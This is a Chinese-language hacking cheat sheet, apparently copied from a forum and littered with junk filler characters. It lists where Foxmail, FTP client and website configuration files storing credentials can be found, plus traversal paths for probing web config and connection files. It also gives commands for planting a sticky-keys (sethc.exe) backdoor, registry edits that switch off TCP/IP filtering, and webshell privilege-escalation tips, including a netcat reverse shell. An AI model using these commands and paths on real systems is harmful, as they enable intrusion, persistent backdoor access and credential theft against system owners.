- ]1 [+ |! V& g, g! _C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
7 g6 |+ ?: Q4 _c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
6 T& u' C! s9 FC:\Program Files\Foxmal\accounts.cfg
7 M+ Z. T& L8 N& J* y! vC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
; _" b( G# {7 }, \4 x2 QC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
* n: a; w' T5 g8 Fc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
, M" W: U5 R. {7 AC:\Program Files\FlashFXP\FlashFXP.ini
7 G/ A- o' U' S$ r$ }! cC:\Program Files\FlashFXP\flashfxp.exe
7 O/ c# Z" O1 a: Yc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
7 l' ^' Z6 X3 K) bc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
7 D6 v1 ~& F9 k1 p9 {
  X6 Z& @( r7 p( F! i/ i/ o$ t0 N4 @3.网站相对路径:

/config.php
../../config.php
../config.php
/ v+ Y8 \7 l% \: W8 ^4 }9 `../../../config.php
/config.inc.php
) X1 ?" [. j$ B1 `: ]./config.inc.php
+ _7 r; S+ K3 C! h../../config.inc.php
% o3 z! S5 J* n" E# b../config.inc.php
../../../config.inc.php
) {# _5 b6 G) N0 z+ c2 p3 ^- j/conn.php
./conn.php
../../conn.php
$ c! q' L' n' d../conn.php
- O' i' G  z  K3 E1 S, H) h9 J../../../conn.php
% M  `: v+ d6 B- i4 }" b: b# ~/conn.asp
+ _, g4 A* E# n# v./conn.asp
../../conn.asp
/ i5 K- L# n6 F. R3 Q) U, @../conn.asp
../../../conn.asp
/config.inc.php
3 W; I* G( j) ]' I./config.inc.php
. |# f" h" S7 z+ s0 k: w" l; ]$ f/ A../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
; x# j2 a0 M) Z5 Q0 c0 v/config/config.inc.php
* Y. A# g% t( B' @./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
& z% ^8 K2 Q  f- l% Y/config/conn.php
./config/conn.php
* ]1 ^+ ^: X! Q" ^4 [" l7 j../../config/conn.php
+ i& C' l  _- @" W' c8 k- s../config/conn.php
' I9 ?0 {5 i( W../../../config/conn.php
/config/conn.asp
: y! d) W4 q, Q9 L7 y: U./config/conn.asp
, j7 n" f0 r. ?0 Q../../config/conn.asp
( w. K9 q# l: ?1 j+ X5 ~3 y../config/conn.asp
8 b( t& K) H0 @. T3 F../../../config/conn.asp
/config/config.inc.php
5 w" S5 y/ d" t5 N# o./config/config.inc.php
! r0 a9 a5 |% {3 z../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
8 I, ]  b5 e3 |) a+ ]4 D../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
4 B7 f% X7 D; H# O% n. S../../data/config.inc.php
../data/config.inc.php
( A3 N) ]1 `0 n; q/ |2 z- J../../../data/config.inc.php
/data/conn.php
$ V- K5 l. X8 ?, j7 ~- \* c./data/conn.php
7 R% ]2 A9 c+ m' {3 {7 \../../data/conn.php
../data/conn.php
2 }$ m" W  y+ _7 [6 w4 `../../../data/conn.php
/data/conn.asp
% k! G9 M" ?* ^$ J& ?! I./data/conn.asp
../../data/conn.asp
! S# u, T) u6 v! ]2 L6 a../data/conn.asp
../../../data/conn.asp
  k" g, v, k  h1 {2 ~4 h  B) q( A/data/config.inc.php
./data/config.inc.php
+ f# b0 T( ~9 I../../data/config.inc.php
# T" ^& y* r% H7 w../data/config.inc.php
../../../data/config.inc.php
9 ]4 s$ N1 k0 t, L# R/include/config.php
+ c5 Q9 a' ?' Y+ ^: \' i../../include/config.php
../include/config.php
0 P8 q8 r/ |) u, [8 w% I/ U2 I7 h../../../include/config.php
5 e) }) a3 h# Z3 a6 }% Y! e/include/config.inc.php
- Y5 I+ V2 C4 g" s  v- u./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
' r* M" A, u8 K, s+ n" C$ N5 B../../../include/config.inc.php
/include/conn.php
% h' u& m$ f3 q& N./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
6 u' D; t( P3 r; T% C0 N, P6 Q../../include/conn.asp
2 f  X  b  R4 Z: A: e" k../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
  c; u" x( I: p6 O./include/config.inc.php
../../include/config.inc.php
4 ]  ~! N& n: N, s../include/config.inc.php
( p5 E$ N! }! z* b1 W# N' {../../../include/config.inc.php
0 D- V; A! x, y: C  l9 `" k  s/inc/config.php
3 n9 p: r; O& l7 T../../inc/config.php
1 n. l, @- F& w: m+ X* {% J6 `../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
3 x- }  l6 C! `/ ^../inc/config.inc.php
4 E5 \+ T4 L2 X: p5 K  Z../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
5 K$ y. V( d) Z" C% |../../inc/conn.php
9 x% t. C$ g3 W../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
" ?1 t! r5 N" {5 `../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
  w9 |2 t# F! q0 i* D& I+ j# ~./inc/config.inc.php
/ C3 g3 M( B7 V, D, B, C2 f$ p6 |../../inc/config.inc.php
$ _5 `* I5 P+ d* g7 n. S3 h../inc/config.inc.php
4 D% S0 S1 G7 S! h4 b../../../inc/config.inc.php
/index.php
./index.php
../../index.php
! Z* W1 D& p, g# j4 ]! J../index.php
; m$ ^1 k" s" m: v/ U% g7 R../../../index.php
0 D- Q& {/ L+ s/index.asp
$ f1 v/ {1 j9 T; l./index.asp
../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

' q. O; B* r; @( Y( j# Y5 T2 X, E　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
7 r& i* h4 I& S, P  a
8 \7 l6 N/ j! A; W/ T! ?1 l　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
+ @% z  @) f7 [% u. c+ G
& w% d: S; t: M$ j　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

2 b9 n! I7 Q" o- {3 v  Q9 U$ H　　attrib c:\windows\system32\sethc.exe +h +r +s
) \( X* ?0 }1 o
! E( ]2 t% W* ?) V　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
6 e$ Z% O; ]6 F# YTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
( g0 i" \7 q+ H5 Y8 y6 t( WHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
1 y0 S6 S4 p/ G# A. Q  R/ x
分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
" i7 M' H& w! ?# j- S5 Hregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
2 k1 Q, `7 c# t4 n) c% R: d命令来导出注册表项

% S/ u- a( f' V& F" Z然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
( h- }+ g2 m( D/ S" _  L% Q/ W5 R
再将以上三个文件分别用
regedit -s D:\a.reg
9 f/ Y5 f; l6 F. ~regedit -s D:\b.reg
- T6 W  C: N) f# M$ _+ gregedit -s D:\c.reg
6 k0 S8 R" m  i1 `7 v8 ?导入注册表即可

webshell提权小技巧
cmd路径:
4 P) A2 a7 k5 q1 ^8 s8 u* e3 hc:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
& g/ |. M( _$ M( [0 u; E: E; J& s
& s* m1 T, t; j$ g/ n  l7 t' |* ^4 R3 K而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
+ D1 W& G3 n% X. w/ i命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功